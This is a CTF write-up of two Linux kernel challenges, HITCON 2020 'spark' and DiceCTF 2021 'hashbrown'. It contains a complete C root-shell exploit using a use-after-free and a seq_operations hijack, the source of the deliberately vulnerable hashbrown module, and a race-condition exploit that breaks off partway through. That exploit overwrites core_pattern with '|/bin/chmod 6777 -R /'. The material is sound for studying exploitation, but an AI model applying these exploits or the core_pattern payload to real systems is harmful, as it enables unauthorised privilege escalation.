temp_dists = (__int64 *)_kmalloc(8 * node_table->size, _GFP_IO | ___GFP_FS | ___GFP_DIRECT_RECLAIM | ___GFP_KSWAPD_RECLAIM);
// ...
bk = cur_node->bk;
for ( end = &cur_node->bk; bk != (spark_link_t *)end; bk = bk->bk )
{
  p_upated_dist = &temp_dists[bk->target->idx_in_table];
  if ( *p_upated_dist != -1 )
  {
    dist_of_this_path = dist_to_cur + bk->weight;
    if ( *p_upated_dist > dist_of_this_path )
      *p_upated_dist = dist_of_this_path;
  }
}
// ...

Because our target (and its idx_in_table) of node_table can be controlld by us, we can write temp_dists with arbitrary index by setting idx_in_table. Furthermore since the weigth of bk node can be controlled by user, we can get arbitrary 8 bytes OOB write.

RIP control

Since the size of node_bale is 4 and then the kamlloc allocate 32 bytes chunk, I decide to use struct seq_operations to control RIP.

We can run user-mode code via RIP control because SMEP is not enabled.

Exploit code

c HITCON2020-spark-exploit.c

      #include <fcntl.h>
#include <linux/keyctl.h>
#include <stdarg.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <syscall.h>
#include <unistd.h>

static void get_enter_to_continue(const char* msg);
static void fatal(const char* msg);

static void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}

static void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue("Press enter to exit...");
  exit(-1);
}

struct msgbuf {
  long mtype;    /* message type, must be > 0 */
  char mtext[1]; /* message data */
};
int send_msg(int msgqid, char* data, size_t size, long mtype);
int recv_msg(int msgqid, char* data, size_t size, long mtype);

int send_msg(int msgqid, char* data, size_t size, long mtype) {
  struct msgbuf* m = malloc(sizeof(long) + size);
  int ret = -1;
  memcpy(m->mtext, data, size);
  m->mtype = mtype;

  ret = msgsnd(msgqid, m, size, 0);

  free(m);
  return ret;
}
int recv_msg(int msgqid, char* data, size_t size, long mtype) {
  struct msgbuf* m = malloc(sizeof(long) + size);
  int ret = -1;
  m->mtype = mtype;

  ret = msgrcv(msgqid, m, size, mtype, 0);
  memcpy(data, m->mtext, size);

  free(m);
  return ret;
}

#define VULN_DEV_NAME "/dev/node"
#define VULN_DEV_CMD_LINK 0x4008D900
#define VULN_DEV_CMD_FINALIZE 0xD902
#define VULN_DEV_CMD_QUERY 0xC010D903
#define VULN_DEV_CMD_GET_INFO 0x8018D901

typedef struct query_t {
  int fd1;
  int fd2;
  int64_t distance;
} query_t;
typedef struct node_info_t {
  uint64_t link_cnt;
  uint64_t idx_in_weights;
  uint64_t weights_size;
} node_info_t;
typedef struct spark_link_t {
  struct spark_link_t* bk;
  struct spark_link_t* fd;
  struct spark_node_t* target;
  uint64_t weight;
} spark_link_t;
typedef struct spark_node_table_t {
  uint64_t size;
  uint64_t capacity;
  struct spark_node_t** nodes;
} spark_node_table_t;
typedef struct spark_node_t {
  uint64_t idx;
  uint32_t ref_cnt;
  uint32_t __padding_0;
  char start_lock[32];
  uint32_t is_finalized;
  uint32_t __padding_1;
  char nb_lock[32];
  uint64_t link_cnt;
  struct spark_link_t* bk;
  struct spark_link_t* fd;
  uint64_t idx_in_table;
  spark_node_table_t* node_table;
} spark_node_t;

static int vuln_dev_link(int fd1, int fd2, int weight);
static int vuln_dev_finalize(int fd);
static int64_t vuln_dev_query(int fd, int fd1, int fd2);
static node_info_t vuln_dev_get_info(int fd);

static int vuln_dev_link(int fd1, int fd2, int weight) {
  return ioctl(fd1, VULN_DEV_CMD_LINK,
               (uint64_t)fd2 | ((uint64_t)weight << 32));
}
static int vuln_dev_finalize(int fd) {
  return ioctl(fd, VULN_DEV_CMD_FINALIZE);
}
static int64_t vuln_dev_query(int fd, int fd1, int fd2) {
  query_t qry = {.fd1 = fd1, .fd2 = fd2, .distance = -1};
  if (ioctl(fd, VULN_DEV_CMD_QUERY, &qry)) {
    return -1;
  }
  return qry.distance;
}
static node_info_t vuln_dev_get_info(int fd) {
  node_info_t info;
  ioctl(fd, VULN_DEV_CMD_GET_INFO, &info);
  return info;
}

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm("mov %[u_cs], cs;\n"
      "mov %[u_ss], ss;\n"
      "mov %[u_sp], rsp;\n"
      "pushf;\n"
      "pop %[u_rflags];\n"
      : [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
        [u_rflags] "=r"(user_rflags)::"memory");
  printf(
      "[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: "
      "0x%lx\n",
      user_cs, user_ss, user_sp, user_rflags);
}

static void get_shell() {
  puts("[+] Get shell!");
  char* argv[] = {"/bin/sh", NULL};
  char* envp[] = {NULL};
  execve("/bin/sh", argv, envp);
}

static void restore_state() {
  asm volatile(
      "swapgs;\n"
      "mov qword ptr [rsp+0x20], %[u_ss];\n"
      "mov qword ptr [rsp+0x18], %[u_sp];\n"
      "mov qword ptr [rsp+0x10], %[u_rflags];\n"
      "mov qword ptr [rsp+0x08], %[u_cs];\n"
      "mov qword ptr [rsp+0x00], %[u_ret];\n"
      "iretq;\n" ::[u_cs] "r"(user_cs),
      [u_ss] "r"(user_ss), [u_sp] "r"(user_sp), [u_rflags] "r"(user_rflags),
      [u_ret] "r"(get_shell));
}

__attribute__((naked)) static void get_root_shell() {
  asm volatile(
      "mov rax, [rsp];\n"
      "sub rax, 0x3185d4;\n"  // rax will be kernel_base
      "mov r15, rax;\n"       // r15 will be kernel_base
      // Call prepare_kernel_cred
      "xor rdi, rdi;\n"
      "add rax, 0xbe9c0;\n"  // rax will be prepare_kernel_cred
      "call rax;\n"
      // Call commit_creds
      "mov rdi, rax;\n"
      "mov rax, r15;\n"
      "add rax, 0xbe550;\n"  // rax will be commit_creds
      "call rax;\n"
      :
      :
      : "rax", "rdi", "r15", "memory");

  restore_state();
}

int main(int argc, char* argv[]) {
  save_state();

  int fds[2];
  puts("[*] Alloc 2 nodes");
  for (int i = 0; i < sizeof(fds) / 4; ++i) {
    fds[i] = open(VULN_DEV_NAME, O_RDONLY);
  }

  puts("[*] Link 2 nodes");
  vuln_dev_link(fds[0], fds[1], 0);

  puts("[*] Trigger UAF and build fake node and fake link");
  close(fds[1]);

  char* msg_mem = malloc(0x2000);
  memset(msg_mem, 'a', 0x2000);
  memset(msg_mem + 0x1000 - 48, 0, 0x1000 + 48);

  char* fake_mem = malloc(0x1000);
  memset(fake_mem, 0, 0x1000);
  spark_node_t* fake_node_1 = (spark_node_t*)fake_mem;
  spark_node_t* fake_node_2 = (spark_node_t*)(fake_mem + sizeof(spark_node_t));
  spark_link_t* fake_link_1 =
      (spark_link_t*)(fake_mem + 2 * sizeof(spark_node_t));
  spark_link_t* fake_link_2 =
      (spark_link_t*)(fake_mem + 2 * sizeof(spark_node_t) +
                      sizeof(spark_link_t));
  spark_link_t* fake_link_3 =
      (spark_link_t*)(fake_mem + 2 * sizeof(spark_node_t) +
                      2 * sizeof(spark_link_t));
  spark_node_t* uaf_fake_node_data = (spark_node_t*)(msg_mem + 0x1000 - 48 - 8);

  printf(
      "[*] fake_node_1: %p, fake_link_1: %p, fake_node_2: %p, fake_link_2: "
      "%p\n",
      fake_node_1, fake_link_1, fake_node_2, fake_link_2);

  if (argc == 2) {
    uint64_t uaf_fake_node_addr =
        strtoull(argv[1], NULL, 16);  // R12(==R13+0x60) of panic
    uaf_fake_node_data->ref_cnt = 3;
    uaf_fake_node_data->idx_in_table = 0xdeadbeef;
    uaf_fake_node_data->bk = (spark_link_t*)fake_link_1;
    uaf_fake_node_data->fd = (spark_link_t*)fake_link_2;

    fake_link_1->target = fake_node_1;
    fake_link_1->bk = (spark_link_t*)fake_link_2;
    fake_link_1->fd = (spark_link_t*)uaf_fake_node_addr;

    fake_link_2->target = fake_node_2;
    fake_link_2->bk = (spark_link_t*)uaf_fake_node_addr;
    fake_link_2->fd = (spark_link_t*)fake_node_1;

    fake_node_1->idx = 0xdeadbeef;
    fake_node_1->ref_cnt = 3;
    fake_node_1->is_finalized = 0;
    fake_node_1->bk = (spark_link_t*)&fake_node_1->bk;
    fake_node_1->fd = (spark_link_t*)&fake_node_1;

    fake_node_2->idx = 0xcafebebe;
    fake_node_2->ref_cnt = 3;
    fake_node_2->is_finalized = 0;
    fake_node_2->bk = (spark_link_t*)&fake_node_2->bk;
    fake_node_2->fd = (spark_link_t*)&fake_node_2;
  } else {
    uaf_fake_node_data->ref_cnt = 1;
  }
  send_msg(1, msg_mem, 0x1000 - 48 + 0x80 - 8, 1);

  puts("[*] Put fake node to node_tables");
  vuln_dev_finalize(fds[0]);

  puts("[*] Modify nodes...");
  fake_node_1->bk = (spark_link_t*)fake_link_3;
  fake_node_1->fd = (spark_link_t*)fake_link_3;
  fake_link_3->bk = (spark_link_t*)&fake_node_1->bk;
  fake_link_3->fd = (spark_link_t*)&fake_node_1->bk;
  fake_link_3->target = fake_node_2;
  fake_link_3->weight = (uint64_t)get_root_shell;
  fake_node_2->idx_in_table = 4;

  puts("[*] Spraying seq_ops...");
  int seq_ops_spray[100];
  for (int i = 0; i < sizeof(seq_ops_spray) / 4; ++i) {
    seq_ops_spray[i] = open("/proc/self/stat", O_RDONLY);
  }
  close(seq_ops_spray[0]);

  if (fake_node_1->idx_in_table != 0) {
    puts("[+] Success to build fake node");
  } else {
    puts("[-] Failed to build fake node");
    return -1;
  }

  int new_nodes[4];
  for (int i = 0; i < sizeof(new_nodes) / 4; ++i) {
    new_nodes[i] = open(VULN_DEV_NAME, O_RDONLY);
    if (i != 0) {
      vuln_dev_link(new_nodes[i - 1], new_nodes[i], 0x100 + i);
    }
  }
  vuln_dev_finalize(new_nodes[3]);

  puts("[*] Trigger OOB and overwrite seq_ops");
  vuln_dev_query(fds[0], new_nodes[1], new_nodes[0]);

  puts("[*] ACE!!");
  for (int i = 0; i < sizeof(seq_ops_spray) / 4; ++i) {
    char buf[1];
    read(seq_ops_spray[i], buf, 1);
  }

  memset(fake_mem, 0, 0x1000);

  return 0;
}

To get a root shell, we need to execute the exploit program twice:

Run the program without any arguments.
Run the program with value of kernel’s R12 register shown by kernel panic.

For example, after executing this program without any arguments, the kernel panic occurs and its information is printed as following:

[   60.936674] BUG: kernel NULL pointer dereference, address: 0000000000000010
[   60.937311] #PF: supervisor read access in kernel mode
[   60.937974] #PF: error_code(0x0000) - not-present page
[   60.938416] PGD de07067 P4D de07067 PUD de06067 PMD 0
[   60.939092] Oops: 0000 [#1] SMP NOPTI
[   60.939439] CPU: 0 PID: 123 Comm: exploit Tainted: G            E     5.9.11 #1
[   60.939824] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   60.940679] RIP: 0010:traversal+0x52/0x110 [spark]
[   60.941182] Code: c0 75 77 48 8d 50 01 49 89 16 49 89 44 24 70 49 8b 36 49 3b 76 08 0f 84 81 00 00 00 49 8b 5c 24 60 49 83 c4 60 0
[   60.942692] RSP: 0018:ffffc900001d7e10 EFLAGS: 00000207
[   60.943401] RAX: ffff88800ddcaf20 RBX: 0000000000000000 RCX: 00000000000008d3
[   60.943929] RDX: 00000000000008d2 RSI: c1f7a9928c6ca877 RDI: 0000000000031060
[   60.944350] RBP: ffffc900001d7e38 R08: ffffc900001d7d98 R09: 0000000000000000
[   60.944940] R10: 0000000000000000 R11: 0000000000000000 R12: ffff88800dd4fb60
[   60.945509] R13: ffff88800dd4fb00 R14: ffff88800ddcaf80 R15: ffff88800dd4fb10
[   60.946147] FS:  0000000001787380(0000) GS:ffff88800f600000(0000) knlGS:0000000000000000
[   60.946744] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   60.947116] CR2: 0000000000000010 CR3: 000000000de04000 CR4: 00000000000006f0
[   60.947932] Call Trace:
[   60.948909]  traversal+0xa0/0x110 [spark]
[   60.949412]  spark_node_finalize+0x83/0xb0 [spark]
[   60.949769]  node_ioctl+0x136/0x250 [spark]
[   60.949977]  ? tomoyo_file_ioctl+0x19/0x20
[   60.950249]  __x64_sys_ioctl+0x96/0xd0
[   60.950477]  do_syscall_64+0x37/0x80
[   60.950819]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[   60.951459] RIP: 0033:0x423d3d
[   60.951794] Code: 04 25 28 00 00 00 48 89 45 c8 31 c0 48 8d 45 10 c7 45 b0 10 00 00 00 48 89 45 b8 48 8d 45 d0 48 89 45 c0 b8 10 0
[   60.953022] RSP: 002b:00007fff9334fb60 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
[   60.953536] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 0000000000423d3d
[   60.954020] RDX: 0000000000000000 RSI: 000000000000d902 RDI: 0000000000000003
[   60.954957] RBP: 00007fff9334fbb0 R08: 0000000000000001 R09: 0000000000000000
[   60.955548] R10: 0000000000000000 R11: 0000000000000246 R12: 00007fff9334ff18
[   60.956501] R13: 00007fff9334ff28 R14: 00000000004ae868 R15: 0000000000000001
[   60.957217] Modules linked in: spark(E)
[   60.957834] CR2: 0000000000000010
[   60.958602] ---[ end trace c0dd566a19a98686 ]---
[   60.958973] RIP: 0010:traversal+0x52/0x110 [spark]
[   60.959299] Code: c0 75 77 48 8d 50 01 49 89 16 49 89 44 24 70 49 8b 36 49 3b 76 08 0f 84 81 00 00 00 49 8b 5c 24 60 49 83 c4 60 0
[   60.960089] RSP: 0018:ffffc900001d7e10 EFLAGS: 00000207
[   60.960471] RAX: ffff88800ddcaf20 RBX: 0000000000000000 RCX: 00000000000008d3
[   60.961083] RDX: 00000000000008d2 RSI: c1f7a9928c6ca877 RDI: 0000000000031060
[   60.961918] RBP: ffffc900001d7e38 R08: ffffc900001d7d98 R09: 0000000000000000
[   60.962316] R10: 0000000000000000 R11: 0000000000000000 R12: ffff88800dd4fb60
[   60.962646] R13: ffff88800dd4fb00 R14: ffff88800ddcaf80 R15: ffff88800dd4fb10
[   60.963020] FS:  0000000001787380(0000) GS:ffff88800f600000(0000) knlGS:0000000000000000
[   60.963489] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   60.963832] CR2: 0000000000000010 CR3: 000000000de04000 CR4: 00000000000006f0
Killed

Then, execute the program with ffff88800dd4fb60 (its R12 value of printed panic information).

Reference

https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/HITCON/2020/spark

DiceCTF2021 hashbrown

Tue, 11 Feb 2025 13:29:06 +0000

Problem

Environment

linux version: 5.11.0-rc3
- CONFIG_SLAB_FREELIST_RANDOM=y
- CONFIG_SLAB=y
- CONFIG_FG_KASLR=y
unprivileged_userfaultfd: 1
unprivileged_bpf_disabled: 0

Module

c DiceCTF2021-hashbrown-module.c

      #include <linux/device.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/mutex.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

#define DEVICE_NAME "hashbrown"
#define CLASS_NAME "hashbrown"

MODULE_AUTHOR("FizzBuzz101");
MODULE_DESCRIPTION("Here's a hashbrown for everyone!");
MODULE_LICENSE("GPL");

#define ADD_KEY 0x1337
#define DELETE_KEY 0x1338
#define UPDATE_VALUE 0x1339
#define DELETE_VALUE 0x133a
#define GET_VALUE 0x133b

#define SIZE_ARR_START 0x10
#define SIZE_ARR_MAX 0x200
#define MAX_ENTRIES 0x400
#define MAX_VALUE_SIZE 0xb0
#define GET_THRESHOLD(size) size - (size >> 2)

#define INVALID 1
#define EXISTS 2
#define NOT_EXISTS 3
#define MAXED 4

static DEFINE_MUTEX(operations_lock);
static DEFINE_MUTEX(resize_lock);
static long hashmap_ioctl(struct file *file, unsigned int cmd,
                          unsigned long arg);

static int major;
static struct class *hashbrown_class = NULL;
static struct device *hashbrown_device = NULL;
static struct file_operations hashbrown_fops = {.unlocked_ioctl =
                                                    hashmap_ioctl};

typedef struct {
  uint32_t key;
  uint32_t size;
  char *src;
  char *dest;
} request_t;

struct hash_entry {
  uint32_t key;
  uint32_t size;
  char *value;
  struct hash_entry *next;
};
typedef struct hash_entry hash_entry;

typedef struct {
  uint32_t size;
  uint32_t threshold;
  uint32_t entry_count;
  hash_entry **buckets;
} hashmap_t;
hashmap_t hashmap;

static noinline uint32_t get_hash_idx(uint32_t key, uint32_t size);

static noinline long resize(request_t *arg);
static noinline void resize_add(uint32_t idx, hash_entry *entry,
                                hash_entry **new_buckets);
static noinline void resize_clean_old(void);

static noinline long add_key(uint32_t idx, uint32_t key, uint32_t size,
                             char *src);
static noinline long delete_key(uint32_t idx, uint32_t key);
static noinline long update_value(uint32_t idx, uint32_t key, uint32_t size,
                                  char *src);
static noinline long delete_value(uint32_t idx, uint32_t key);
static noinline long get_value(uint32_t idx, uint32_t key, uint32_t size,
                               char *dest);

#pragma GCC push_options
#pragma GCC optimize("O1")

static long hashmap_ioctl(struct file *file, unsigned int cmd,
                          unsigned long arg) {
  long result;
  request_t request;
  uint32_t idx;

  if (cmd == ADD_KEY) {
    if (hashmap.entry_count == hashmap.threshold &&
        hashmap.size < SIZE_ARR_MAX) {
      mutex_lock(&resize_lock);
      result = resize((request_t *)arg);
      mutex_unlock(&resize_lock);
      return result;
    }
  }

  mutex_lock(&operations_lock);
  if (copy_from_user((void *)&request, (void *)arg, sizeof(request_t))) {
    result = INVALID;
  } else if (cmd == ADD_KEY && hashmap.entry_count == MAX_ENTRIES) {
    result = MAXED;
  } else {
    idx = get_hash_idx(request.key, hashmap.size);
    switch (cmd) {
      case ADD_KEY:
        result = add_key(idx, request.key, request.size, request.src);
        break;
      case DELETE_KEY:
        result = delete_key(idx, request.key);
        break;
      case UPDATE_VALUE:
        result = update_value(idx, request.key, request.size, request.src);
        break;
      case DELETE_VALUE:
        result = delete_value(idx, request.key);
        break;
      case GET_VALUE:
        result = get_value(idx, request.key, request.size, request.dest);
        break;
      default:
        result = INVALID;
        break;
    }
  }
  mutex_unlock(&operations_lock);
  return result;
}

static uint32_t get_hash_idx(uint32_t key, uint32_t size) {
  uint32_t hash;
  key ^= (key >> 20) ^ (key >> 12);
  hash = key ^ (key >> 7) ^ (key >> 4);
  return hash & (size - 1);
}

static noinline void resize_add(uint32_t idx, hash_entry *entry,
                                hash_entry **new_buckets) {
  if (!new_buckets[idx]) {
    new_buckets[idx] = entry;
  } else {
    entry->next = new_buckets[idx];
    new_buckets[idx] = entry;
  }
}

static noinline void resize_clean_old() {
  int i;
  hash_entry *traverse, *temp;
  for (i = 0; i < hashmap.size; i++) {
    if (hashmap.buckets[i]) {
      traverse = hashmap.buckets[i];
      while (traverse) {
        temp = traverse;
        traverse = traverse->next;
        kfree(temp);
      }
      hashmap.buckets[i] = NULL;
    }
  }
  kfree(hashmap.buckets);
  hashmap.buckets = NULL;
  return;
}

static long resize(request_t *arg) {
  hash_entry **new_buckets, *temp_entry, *temp;
  request_t request;
  char *temp_data;
  uint32_t new_size, new_threshold, new_idx;
  int i, duplicate;

  if (copy_from_user((void *)&request, (void *)arg, sizeof(request_t))) {
    return INVALID;
  }
  if (request.size < 1 || request.size > MAX_VALUE_SIZE) {
    return INVALID;
  }

  new_size = hashmap.size * 2;
  new_threshold = GET_THRESHOLD(new_size);
  new_buckets = kzalloc(sizeof(hash_entry *) * new_size, GFP_KERNEL);

  if (!new_buckets) {
    return INVALID;
  }

  duplicate = 0;
  for (i = 0; i < hashmap.size; i++) {
    if (hashmap.buckets[i]) {
      for (temp_entry = hashmap.buckets[i]; temp_entry != NULL;
           temp_entry = temp_entry->next) {
        if (temp_entry->key == request.key) {
          duplicate = 1;
        }
        new_idx = get_hash_idx(temp_entry->key, new_size);
        temp = kzalloc(sizeof(hash_entry), GFP_KERNEL);
        if (!temp) {
          kfree(new_buckets);
          return INVALID;
        }
        temp->key = temp_entry->key;
        temp->size = temp_entry->size;
        temp->value = temp_entry->value;
        resize_add(new_idx, temp, new_buckets);
      }
    }
  }
  if (!duplicate) {
    new_idx = get_hash_idx(request.key, new_size);
    temp = kzalloc(sizeof(hash_entry), GFP_KERNEL);
    if (!temp) {
      kfree(new_buckets);
      return INVALID;
    }
    temp_data = kzalloc(request.size, GFP_KERNEL);
    if (!temp_data) {
      kfree(temp);
      kfree(new_buckets);
      return INVALID;
    }
    if (copy_from_user(temp_data, request.src, request.size)) {
      kfree(temp_data);
      kfree(temp);
      kfree(new_buckets);
      return INVALID;
    }
    temp->size = request.size;
    temp->value = temp_data;
    temp->key = request.key;
    temp->next = NULL;
    resize_add(new_idx, temp, new_buckets);
    hashmap.entry_count++;
  }
  resize_clean_old();
  hashmap.size = new_size;
  hashmap.threshold = new_threshold;
  hashmap.buckets = new_buckets;
  return (duplicate) ? EXISTS : 0;
}

static long add_key(uint32_t idx, uint32_t key, uint32_t size, char *src) {
  hash_entry *temp_entry, *temp;
  char *temp_data;
  if (size < 1 || size > MAX_VALUE_SIZE) {
    return INVALID;
  }

  temp_entry = kzalloc(sizeof(hash_entry), GFP_KERNEL);
  temp_data = kzalloc(size, GFP_KERNEL);
  if (!temp_entry || !temp_data) {
    return INVALID;
  }
  if (copy_from_user(temp_data, src, size)) {
    return INVALID;
  }
  temp_entry->key = key;
  temp_entry->size = size;
  temp_entry->value = temp_data;
  temp_entry->next = NULL;

  if (!hashmap.buckets[idx]) {
    hashmap.buckets[idx] = temp_entry;
    hashmap.entry_count++;
    return 0;
  } else {
    for (temp = hashmap.buckets[idx]; temp->next != NULL; temp = temp->next) {
      if (temp->key == key) {
        kfree(temp_data);
        kfree(temp_entry);
        return EXISTS;
      }
    }
    if (temp->key == key) {
      kfree(temp_data);
      kfree(temp_entry);
      return EXISTS;
    }
    temp->next = temp_entry;
    hashmap.entry_count++;
    return 0;
  }
}

static long delete_key(uint32_t idx, uint32_t key) {
  hash_entry *temp, *prev;

  if (!hashmap.buckets[idx]) {
    return NOT_EXISTS;
  }
  if (hashmap.buckets[idx]->key == key) {
    temp = hashmap.buckets[idx]->next;
    if (hashmap.buckets[idx]->value) {
      kfree(hashmap.buckets[idx]->value);
    }
    kfree(hashmap.buckets[idx]);
    hashmap.buckets[idx] = temp;
    hashmap.entry_count--;
    return 0;
  }
  temp = hashmap.buckets[idx];
  while (temp != NULL && temp->key != key) {
    prev = temp;
    temp = temp->next;
  }
  if (temp == NULL) {
    return NOT_EXISTS;
  }
  prev->next = temp->next;
  if (temp->value) {
    kfree(temp->value);
  }
  kfree(temp);
  hashmap.entry_count--;
  return 0;
}

static long update_value(uint32_t idx, uint32_t key, uint32_t size, char *src) {
  hash_entry *temp;
  char *temp_data;

  if (size < 1 || size > MAX_VALUE_SIZE) {
    return INVALID;
  }
  if (!hashmap.buckets[idx]) {
    return NOT_EXISTS;
  }

  for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp->next) {
    if (temp->key == key) {
      if (temp->size != size) {
        if (temp->value) {
          kfree(temp->value);
        }
        temp->value = NULL;
        temp->size = 0;
        temp_data = kzalloc(size, GFP_KERNEL);
        if (!temp_data || copy_from_user(temp_data, src, size)) {
          return INVALID;
        }
        temp->size = size;
        temp->value = temp_data;
      } else {
        if (copy_from_user(temp->value, src, size)) {
          return INVALID;
        }
      }
      return 0;
    }
  }
  return NOT_EXISTS;
}

static long delete_value(uint32_t idx, uint32_t key) {
  hash_entry *temp;
  if (!hashmap.buckets[idx]) {
    return NOT_EXISTS;
  }
  for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp->next) {
    if (temp->key == key) {
      if (!temp->value || !temp->size) {
        return NOT_EXISTS;
      }
      kfree(temp->value);
      temp->value = NULL;
      temp->size = 0;
      return 0;
    }
  }
  return NOT_EXISTS;
}

static long get_value(uint32_t idx, uint32_t key, uint32_t size, char *dest) {
  hash_entry *temp;
  if (!hashmap.buckets[idx]) {
    return NOT_EXISTS;
  }
  for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp->next) {
    if (temp->key == key) {
      if (!temp->value || !temp->size) {
        return NOT_EXISTS;
      }
      if (size > temp->size) {
        return INVALID;
      }
      if (copy_to_user(dest, temp->value, size)) {
        return INVALID;
      }
      return 0;
    }
  }
  return NOT_EXISTS;
}

#pragma GCC pop_options

static int __init init_hashbrown(void) {
  major = register_chrdev(0, DEVICE_NAME, &hashbrown_fops);
  if (major < 0) {
    return -1;
  }
  hashbrown_class = class_create(THIS_MODULE, CLASS_NAME);
  if (IS_ERR(hashbrown_class)) {
    unregister_chrdev(major, DEVICE_NAME);
    return -1;
  }
  hashbrown_device =
      device_create(hashbrown_class, 0, MKDEV(major, 0), 0, DEVICE_NAME);
  if (IS_ERR(hashbrown_device)) {
    class_destroy(hashbrown_class);
    unregister_chrdev(major, DEVICE_NAME);
    return -1;
  }
  mutex_init(&operations_lock);
  mutex_init(&resize_lock);

  hashmap.size = SIZE_ARR_START;
  hashmap.entry_count = 0;
  hashmap.threshold = GET_THRESHOLD(hashmap.size);
  hashmap.buckets = kzalloc(sizeof(hash_entry *) * hashmap.size, GFP_KERNEL);
  printk(KERN_INFO "HashBrown Loaded! Who doesn't love Hashbrowns!\n");
  return 0;
}

static void __exit exit_hashbrown(void) {
  device_destroy(hashbrown_class, MKDEV(major, 0));
  class_unregister(hashbrown_class);
  class_destroy(hashbrown_class);
  unregister_chrdev(major, DEVICE_NAME);
  mutex_destroy(&operations_lock);
  mutex_destroy(&resize_lock);
  printk(KERN_INFO "HashBrown Unloaded\n");
}

module_init(init_hashbrown);
module_exit(exit_hashbrown);

This module allow us to add, delete and update key and value to hashmap.

Vulnerability

The vulnerability is easy, a race condition can be occurs in hashmap_ioctl function:

static long hashmap_ioctl(struct file *file, unsigned int cmd,
                          unsigned long arg) {
  long result;
  request_t request;
  uint32_t idx;

  if (cmd == ADD_KEY) {
    if (hashmap.entry_count == hashmap.threshold &&
        hashmap.size < SIZE_ARR_MAX) {
      mutex_lock(&resize_lock);
      result = resize((request_t *)arg);
      mutex_unlock(&resize_lock);
      return result;
    }
  }

  mutex_lock(&operations_lock);
  if (copy_from_user((void *)&request, (void *)arg, sizeof(request_t))) {
    result = INVALID;
  } else if (cmd == ADD_KEY && hashmap.entry_count == MAX_ENTRIES) {
    result = MAXED;
  } else {
    idx = get_hash_idx(request.key, hashmap.size);
    switch (cmd) {
      // ...
    }
  }
  mutex_unlock(&operations_lock);
  return result;
}

As we can see, we can trigger resize function and other modification functions. And in resize function, there is a entry-copy mechanism which allocate new heap chunk and copy old entry’s data to new one. After copying, delete old hashmap’s bucket using resize_clean_old and set hashmap’s bucket to new one:

static long resize(request_t *arg) {
  hash_entry **new_buckets, *temp_entry, *temp;
  request_t request;
  char *temp_data;
  uint32_t new_size, new_threshold, new_idx;
  int i, duplicate;

  // ...

  duplicate = 0;
  for (i = 0; i < hashmap.size; i++) {
    if (hashmap.buckets[i]) {
      for (temp_entry = hashmap.buckets[i]; temp_entry != NULL;
           temp_entry = temp_entry->next) {
        if (temp_entry->key == request.key) {
          duplicate = 1;
        }
        new_idx = get_hash_idx(temp_entry->key, new_size);
        temp = kzalloc(sizeof(hash_entry), GFP_KERNEL);
        if (!temp) {
          kfree(new_buckets);
          return INVALID;
        }
        temp->key = temp_entry->key;
        temp->size = temp_entry->size;
        temp->value = temp_entry->value;
        resize_add(new_idx, temp, new_buckets);
      }
    }
  }
  if (!duplicate) {
    new_idx = get_hash_idx(request.key, new_size);
    temp = kzalloc(sizeof(hash_entry), GFP_KERNEL);
    if (!temp) {
      kfree(new_buckets);
      return INVALID;
    }
    temp_data = kzalloc(request.size, GFP_KERNEL);
    if (!temp_data) {
      kfree(temp);
      kfree(new_buckets);
      return INVALID;
    }
    if (copy_from_user(temp_data, request.src, request.size)) {
      kfree(temp_data);
      kfree(temp);
      kfree(new_buckets);
      return INVALID;
    }
    temp->size = request.size;
    temp->value = temp_data;
    temp->key = request.key;
    temp->next = NULL;
    resize_add(new_idx, temp, new_buckets);
    hashmap.entry_count++;
  }
  resize_clean_old();
  hashmap.size = new_size;
  hashmap.threshold = new_threshold;
  hashmap.buckets = new_buckets;
  return (duplicate) ? EXISTS : 0;
}

Exploit

Make UAF and get controlled entry

So, if we delete the value after copying and before resize_clean_old, there will be freed value in new bucket. Since size of hash_entry is 0x20, we can get controll to entry with freed value in new bucket (see construct_corrupted_entry).

AAR/AAW

In hash_entry, size and value member exist. So we can make AAR and AAW primitives using them (see aar and aaw).

Find core_pattern and overwrite it

Although we can read and write at arbitrary address, there is a limit to do reading because of __check_object_size. But, I can leak some address in kernel area (see find_kernel_address). And using it, I can find kernel base (see find_core_pattern_address and the few lines after calling it).

Then since we can read and write at arbitrary address and we know the core_pattern address, overwrite core_pattern with “|/bin/chmod 6777 -R /”.

Exploit code

c DiceCTF2021-hashbrown-exploit.c

      #define _GNU_SOURCE
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <unistd.h>

static void get_enter_to_continue(const char* msg);
static void fatal(const char* msg);
static int register_uffd(void* addr, size_t len, void* (*handler)(void*));

static void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}
static void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue("Press enter to exit...");
  exit(-1);
}

static int register_uffd(void* addr, size_t len, void* (*handler)(void*)) {
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  pthread_t th;
  int uffd = syscall(__NR_userfaultfd, __O_CLOEXEC | O_NONBLOCK);
  if (uffd < 0) {
    fatal("syscall(__NR_userfaultfd)");
  }

